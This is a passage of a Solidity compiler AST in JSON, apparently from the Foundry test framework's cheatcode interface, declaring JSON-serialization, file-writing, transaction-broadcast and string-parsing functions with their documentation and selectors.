scriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":13176,"name":"bytes","nodeType":"ElementaryTypeName","src":"31010:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":13177,"nodeType":"ArrayTypeName","src":"31010:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"30956:78:13"},"returnParameters":{"id":13182,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13181,"mutability":"mutable","name":"json","nameLocation":"31083:4:13","nodeType":"VariableDeclaration","scope":13183,"src":"31069:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13180,"name":"string","nodeType":"ElementaryTypeName","src":"31069:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31068:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13195,"nodeType":"FunctionDefinition","src":"31124:143:13","nodes":[],"documentation":{"id":13184,"nodeType":"StructuredDocumentation","src":"31095:24:13","text":"See `serializeJson`."},"functionSelector":"3f33db60","implemented":false,"kind":"function","modifiers":[],"name":"serializeInt","nameLocation":"31133:12:13","parameters":{"id":13191,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13186,"mutability":"mutable","name":"objectKey","nameLocation":"31162:9:13","nodeType":"VariableDeclaration","scope":13195,"src":"31146:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13185,"name":"string","nodeType":"ElementaryTypeName","src":"31146:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13188,"mutability":"mutable","name":"valueKey","nameLocation":"31189:8:13","nodeType":"VariableDeclaration","scope":13195,"src":"31173:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13187,"name":"string","nodeType":"ElementaryTypeName","src":"31173:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13190,"mutability":"mutable","name":"value","nameLocation":"31206:5:13","nodeType":"VariableDeclaration","scope":13195,"src":"31199:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":13189,"name":"int256","nodeType":"ElementaryTypeName","src":"31199:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"31145:67:13"},"returnParameters":{"id":13194,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13193,"mutability":"mutable","name":"json","nameLocation":"31261:4:13","nodeType":"VariableDeclaration","scope":13195,"src":"31247:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13192,"name":"string","nodeType":"ElementaryTypeName","src":"31247:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31246:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13208,"nodeType":"FunctionDefinition","src":"31302:155:13","nodes":[],"documentation":{"id":13196,"nodeType":"StructuredDocumentation","src":"31273:24:13","text":"See `serializeJson`."},"functionSelector":"7676e127","implemented":false,"kind":"function","modifiers":[],"name":"serializeInt","nameLocation":"31311:12:13","parameters":{"id":13204,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13198,"mutability":"mutable","name":"objectKey","nameLocation":"31340:9:13","nodeType":"VariableDeclaration","scope":13208,"src":"31324:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13197,"name":"string","nodeType":"ElementaryTypeName","src":"31324:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13200,"mutability":"mutable","name":"valueKey","nameLocation":"31367:8:13","nodeType":"VariableDeclaration","scope":13208,"src":"31351:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13199,"name":"string","nodeType":"ElementaryTypeName","src":"31351:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13203,"mutability":"mutable","name":"values","nameLocation":"31395:6:13","nodeType":"VariableDeclaration","scope":13208,"src":"31377:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_calldata_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":13201,"name":"int256","nodeType":"ElementaryTypeName","src":"31377:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":13202,"nodeType":"ArrayTypeName","src":"31377:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"31323:79:13"},"returnParameters":{"id":13207,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13206,"mutability":"mutable","name":"json","nameLocation":"31451:4:13","nodeType":"VariableDeclaration","scope":13208,"src":"31437:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13205,"name":"string","nodeType":"ElementaryTypeName","src":"31437:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31436:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13218,"nodeType":"FunctionDefinition","src":"31654:111:13","nodes":[],"documentation":{"id":13209,"nodeType":"StructuredDocumentation","src":"31463:186:13","text":"Serializes a key and value to a JSON object stored in-memory that can be later written to a file.\n Returns the stringified version of the specific JSON file up to that moment."},"functionSelector":"9b3358b0","implemented":false,"kind":"function","modifiers":[],"name":"serializeJson","nameLocation":"31663:13:13","parameters":{"id":13214,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13211,"mutability":"mutable","name":"objectKey","nameLocation":"31693:9:13","nodeType":"VariableDeclaration","scope":13218,"src":"31677:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13210,"name":"string","nodeType":"ElementaryTypeName","src":"31677:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13213,"mutability":"mutable","name":"value","nameLocation":"31720:5:13","nodeType":"VariableDeclaration","scope":13218,"src":"31704:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13212,"name":"string","nodeType":"ElementaryTypeName","src":"31704:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31676:50:13"},"returnParameters":{"id":13217,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13216,"mutability":"mutable","name":"json","nameLocation":"31759:4:13","nodeType":"VariableDeclaration","scope":13218,"src":"31745:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13215,"name":"string","nodeType":"ElementaryTypeName","src":"31745:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31744:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13230,"nodeType":"FunctionDefinition","src":"31800:155:13","nodes":[],"documentation":{"id":13219,"nodeType":"StructuredDocumentation","src":"31771:24:13","text":"See `serializeJson`."},"functionSelector":"88da6d35","implemented":false,"kind":"function","modifiers":[],"name":"serializeString","nameLocation":"31809:15:13","parameters":{"id":13226,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13221,"mutability":"mutable","name":"objectKey","nameLocation":"31841:9:13","nodeType":"VariableDeclaration","scope":13230,"src":"31825:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13220,"name":"string","nodeType":"ElementaryTypeName","src":"31825:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13223,"mutability":"mutable","name":"valueKey","nameLocation":"31868:8:13","nodeType":"VariableDeclaration","scope":13230,"src":"31852:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13222,"name":"string","nodeType":"ElementaryTypeName","src":"31852:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13225,"mutability":"mutable","name":"value","nameLocation":"31894:5:13","nodeType":"VariableDeclaration","scope":13230,"src":"31878:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13224,"name":"string","nodeType":"ElementaryTypeName","src":"31878:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31824:76:13"},"returnParameters":{"id":13229,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13228,"mutability":"mutable","name":"json","nameLocation":"31949:4:13","nodeType":"VariableDeclaration","scope":13230,"src":"31935:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13227,"name":"string","nodeType":"ElementaryTypeName","src":"31935:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"31934:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13243,"nodeType":"FunctionDefinition","src":"31990:158:13","nodes":[],"documentation":{"id":13231,"nodeType":"StructuredDocumentation","src":"31961:24:13","text":"See `serializeJson`."},"functionSelector":"561cd6f3","implemented":false,"kind":"function","modifiers":[],"name":"serializeString","nameLocation":"31999:15:13","parameters":{"id":13239,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13233,"mutability":"mutable","name":"objectKey","nameLocation":"32031:9:13","nodeType":"VariableDeclaration","scope":13243,"src":"32015:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13232,"name":"string","nodeType":"ElementaryTypeName","src":"32015:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13235,"mutability":"mutable","name":"valueKey","nameLocation":"32058:8:13","nodeType":"VariableDeclaration","scope":13243,"src":"32042:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13234,"name":"string","nodeType":"ElementaryTypeName","src":"32042:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13238,"mutability":"mutable","name":"values","nameLocation":"32086:6:13","nodeType":"VariableDeclaration","scope":13243,"src":"32068:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":13236,"name":"string","nodeType":"ElementaryTypeName","src":"32068:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":13237,"nodeType":"ArrayTypeName","src":"32068:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"32014:79:13"},"returnParameters":{"id":13242,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13241,"mutability":"mutable","name":"json","nameLocation":"32142:4:13","nodeType":"VariableDeclaration","scope":13243,"src":"32128:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13240,"name":"string","nodeType":"ElementaryTypeName","src":"32128:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32127:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13255,"nodeType":"FunctionDefinition","src":"32183:145:13","nodes":[],"documentation":{"id":13244,"nodeType":"StructuredDocumentation","src":"32154:24:13","text":"See `serializeJson`."},"functionSelector":"129e9002","implemented":false,"kind":"function","modifiers":[],"name":"serializeUint","nameLocation":"32192:13:13","parameters":{"id":13251,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13246,"mutability":"mutable","name":"objectKey","nameLocation":"32222:9:13","nodeType":"VariableDeclaration","scope":13255,"src":"32206:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13245,"name":"string","nodeType":"ElementaryTypeName","src":"32206:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13248,"mutability":"mutable","name":"valueKey","nameLocation":"32249:8:13","nodeType":"VariableDeclaration","scope":13255,"src":"32233:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13247,"name":"string","nodeType":"ElementaryTypeName","src":"32233:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13250,"mutability":"mutable","name":"value","nameLocation":"32267:5:13","nodeType":"VariableDeclaration","scope":13255,"src":"32259:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13249,"name":"uint256","nodeType":"ElementaryTypeName","src":"32259:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"32205:68:13"},"returnParameters":{"id":13254,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13253,"mutability":"mutable","name":"json","nameLocation":"32322:4:13","nodeType":"VariableDeclaration","scope":13255,"src":"32308:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13252,"name":"string","nodeType":"ElementaryTypeName","src":"32308:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32307:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13268,"nodeType":"FunctionDefinition","src":"32363:157:13","nodes":[],"documentation":{"id":13256,"nodeType":"StructuredDocumentation","src":"32334:24:13","text":"See `serializeJson`."},"functionSelector":"fee9a469","implemented":false,"kind":"function","modifiers":[],"name":"serializeUint","nameLocation":"32372:13:13","parameters":{"id":13264,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13258,"mutability":"mutable","name":"objectKey","nameLocation":"32402:9:13","nodeType":"VariableDeclaration","scope":13268,"src":"32386:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13257,"name":"string","nodeType":"ElementaryTypeName","src":"32386:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13260,"mutability":"mutable","name":"valueKey","nameLocation":"32429:8:13","nodeType":"VariableDeclaration","scope":13268,"src":"32413:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13259,"name":"string","nodeType":"ElementaryTypeName","src":"32413:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13263,"mutability":"mutable","name":"values","nameLocation":"32458:6:13","nodeType":"VariableDeclaration","scope":13268,"src":"32439:25:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_calldata_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":13261,"name":"uint256","nodeType":"ElementaryTypeName","src":"32439:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":13262,"nodeType":"ArrayTypeName","src":"32439:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"32385:80:13"},"returnParameters":{"id":13267,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13266,"mutability":"mutable","name":"json","nameLocation":"32514:4:13","nodeType":"VariableDeclaration","scope":13268,"src":"32500:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":13265,"name":"string","nodeType":"ElementaryTypeName","src":"32500:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32499:20:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13276,"nodeType":"FunctionDefinition","src":"32620:72:13","nodes":[],"documentation":{"id":13269,"nodeType":"StructuredDocumentation","src":"32526:89:13","text":"Write a serialized JSON object to a file. If the file exists, it will be overwritten."},"functionSelector":"e23cd19f","implemented":false,"kind":"function","modifiers":[],"name":"writeJson","nameLocation":"32629:9:13","parameters":{"id":13274,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13271,"mutability":"mutable","name":"json","nameLocation":"32655:4:13","nodeType":"VariableDeclaration","scope":13276,"src":"32639:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13270,"name":"string","nodeType":"ElementaryTypeName","src":"32639:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13273,"mutability":"mutable","name":"path","nameLocation":"32677:4:13","nodeType":"VariableDeclaration","scope":13276,"src":"32661:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13272,"name":"string","nodeType":"ElementaryTypeName","src":"32661:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32638:44:13"},"returnParameters":{"id":13275,"nodeType":"ParameterList","parameters":[],"src":"32691:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13286,"nodeType":"FunctionDefinition","src":"32918:98:13","nodes":[],"documentation":{"id":13277,"nodeType":"StructuredDocumentation","src":"32698:215:13","text":"Write a serialized JSON object to an **existing** JSON file, replacing a value with key = \n This is useful to replace a specific value of a JSON file, without having to parse the entire thing."},"functionSelector":"35d6ad46","implemented":false,"kind":"function","modifiers":[],"name":"writeJson","nameLocation":"32927:9:13","parameters":{"id":13284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13279,"mutability":"mutable","name":"json","nameLocation":"32953:4:13","nodeType":"VariableDeclaration","scope":13286,"src":"32937:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13278,"name":"string","nodeType":"ElementaryTypeName","src":"32937:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13281,"mutability":"mutable","name":"path","nameLocation":"32975:4:13","nodeType":"VariableDeclaration","scope":13286,"src":"32959:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13280,"name":"string","nodeType":"ElementaryTypeName","src":"32959:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":13283,"mutability":"mutable","name":"valueKey","nameLocation":"32997:8:13","nodeType":"VariableDeclaration","scope":13286,"src":"32981:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13282,"name":"string","nodeType":"ElementaryTypeName","src":"32981:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"32936:70:13"},"returnParameters":{"id":13285,"nodeType":"ParameterList","parameters":[],"src":"33015:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13290,"nodeType":"FunctionDefinition","src":"33230:30:13","nodes":[],"documentation":{"id":13287,"nodeType":"StructuredDocumentation","src":"33058:167:13","text":"Using the address that calls the test contract, has the next call (at this call depth only)\n create a transaction that can later be signed and sent onchain."},"functionSelector":"afc98040","implemented":false,"kind":"function","modifiers":[],"name":"broadcast","nameLocation":"33239:9:13","parameters":{"id":13288,"nodeType":"ParameterList","parameters":[],"src":"33248:2:13"},"returnParameters":{"id":13289,"nodeType":"ParameterList","parameters":[],"src":"33259:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13296,"nodeType":"FunctionDefinition","src":"33430:44:13","nodes":[],"documentation":{"id":13291,"nodeType":"StructuredDocumentation","src":"33266:159:13","text":"Has the next call (at this call depth only) create a transaction with the address provided\n as the sender that can later be signed and sent onchain."},"functionSelector":"e6962cdb","implemented":false,"kind":"function","modifiers":[],"name":"broadcast","nameLocation":"33439:9:13","parameters":{"id":13294,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13293,"mutability":"mutable","name":"signer","nameLocation":"33457:6:13","nodeType":"VariableDeclaration","scope":13296,"src":"33449:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13292,"name":"address","nodeType":"ElementaryTypeName","src":"33449:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"33448:16:13"},"returnParameters":{"id":13295,"nodeType":"ParameterList","parameters":[],"src":"33473:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13302,"nodeType":"FunctionDefinition","src":"33648:48:13","nodes":[],"documentation":{"id":13297,"nodeType":"StructuredDocumentation","src":"33480:163:13","text":"Has the next call (at this call depth only) create a transaction with the private key\n provided as the sender that can later be signed and sent onchain."},"functionSelector":"f67a965b","implemented":false,"kind":"function","modifiers":[],"name":"broadcast","nameLocation":"33657:9:13","parameters":{"id":13300,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13299,"mutability":"mutable","name":"privateKey","nameLocation":"33675:10:13","nodeType":"VariableDeclaration","scope":13302,"src":"33667:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13298,"name":"uint256","nodeType":"ElementaryTypeName","src":"33667:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"33666:20:13"},"returnParameters":{"id":13301,"nodeType":"ParameterList","parameters":[],"src":"33695:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13306,"nodeType":"FunctionDefinition","src":"33880:35:13","nodes":[],"documentation":{"id":13303,"nodeType":"StructuredDocumentation","src":"33702:173:13","text":"Using the address that calls the test contract, has all subsequent calls\n (at this call depth only) create transactions that can later be signed and sent onchain."},"functionSelector":"7fb5297f","implemented":false,"kind":"function","modifiers":[],"name":"startBroadcast","nameLocation":"33889:14:13","parameters":{"id":13304,"nodeType":"ParameterList","parameters":[],"src":"33903:2:13"},"returnParameters":{"id":13305,"nodeType":"ParameterList","parameters":[],"src":"33914:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13312,"nodeType":"FunctionDefinition","src":"34077:49:13","nodes":[],"documentation":{"id":13307,"nodeType":"StructuredDocumentation","src":"33921:151:13","text":"Has all subsequent calls (at this call depth only) create transactions with the address\n provided that can later be signed and sent onchain."},"functionSelector":"7fec2a8d","implemented":false,"kind":"function","modifiers":[],"name":"startBroadcast","nameLocation":"34086:14:13","parameters":{"id":13310,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13309,"mutability":"mutable","name":"signer","nameLocation":"34109:6:13","nodeType":"VariableDeclaration","scope":13312,"src":"34101:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13308,"name":"address","nodeType":"ElementaryTypeName","src":"34101:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34100:16:13"},"returnParameters":{"id":13311,"nodeType":"ParameterList","parameters":[],"src":"34125:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13318,"nodeType":"FunctionDefinition","src":"34292:53:13","nodes":[],"documentation":{"id":13313,"nodeType":"StructuredDocumentation","src":"34132:155:13","text":"Has all subsequent calls (at this call depth only) create transactions with the private key\n provided that can later be signed and sent onchain."},"functionSelector":"ce817d47","implemented":false,"kind":"function","modifiers":[],"name":"startBroadcast","nameLocation":"34301:14:13","parameters":{"id":13316,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13315,"mutability":"mutable","name":"privateKey","nameLocation":"34324:10:13","nodeType":"VariableDeclaration","scope":13318,"src":"34316:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":13314,"name":"uint256","nodeType":"ElementaryTypeName","src":"34316:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"34315:20:13"},"returnParameters":{"id":13317,"nodeType":"ParameterList","parameters":[],"src":"34344:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13322,"nodeType":"FunctionDefinition","src":"34398:34:13","nodes":[],"documentation":{"id":13319,"nodeType":"StructuredDocumentation","src":"34351:42:13","text":"Stops collecting onchain transactions."},"functionSelector":"76eadd36","implemented":false,"kind":"function","modifiers":[],"name":"stopBroadcast","nameLocation":"34407:13:13","parameters":{"id":13320,"nodeType":"ParameterList","parameters":[],"src":"34420:2:13"},"returnParameters":{"id":13321,"nodeType":"ParameterList","parameters":[],"src":"34431:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":13330,"nodeType":"FunctionDefinition","src":"34524:100:13","nodes":[],"documentation":{"id":13323,"nodeType":"StructuredDocumentation","src":"34471:48:13","text":"Parses the given `string` into an `address`."},"functionSelector":"c6ce059d","implemented":false,"kind":"function","modifiers":[],"name":"parseAddress","nameLocation":"34533:12:13","parameters":{"id":13326,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13325,"mutability":"mutable","name":"stringifiedValue","nameLocation":"34562:16:13","nodeType":"VariableDeclaration","scope":13330,"src":"34546:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13324,"name":"string","nodeType":"ElementaryTypeName","src":"34546:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34545:34:13"},"returnParameters":{"id":13329,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13328,"mutability":"mutable","name":"parsedValue","nameLocation":"34611:11:13","nodeType":"VariableDeclaration","scope":13330,"src":"34603:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":13327,"name":"address","nodeType":"ElementaryTypeName","src":"34603:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"34602:21:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":13338,"nodeType":"FunctionDefinition","src":"34679:94:13","nodes":[],"documentation":{"id":13331,"nodeType":"StructuredDocumentation","src":"34630:44:13","text":"Parses the given `string` into a `bool`."},"functionSelector":"974ef924","implemented":false,"kind":"function","modifiers":[],"name":"parseBool","nameLocation":"34688:9:13","parameters":{"id":13334,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13333,"mutability":"mutable","name":"stringifiedValue","nameLocation":"34714:16:13","nodeType":"VariableDeclaration","scope":13338,"src":"34698:32:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":13332,"name":"string","nodeType":"ElementaryTypeName","src":"34698:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"34697:34:13"},"returnParameters":{"id":13337,"nodeType":"ParameterList","parameters":[{"constant":false,"id":13336,"mutability":"mutable","name":"parsedValue","nameLocation":"34760:11:13","nodeType":"VariableDeclaration","scope":13338,"src":"34755:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{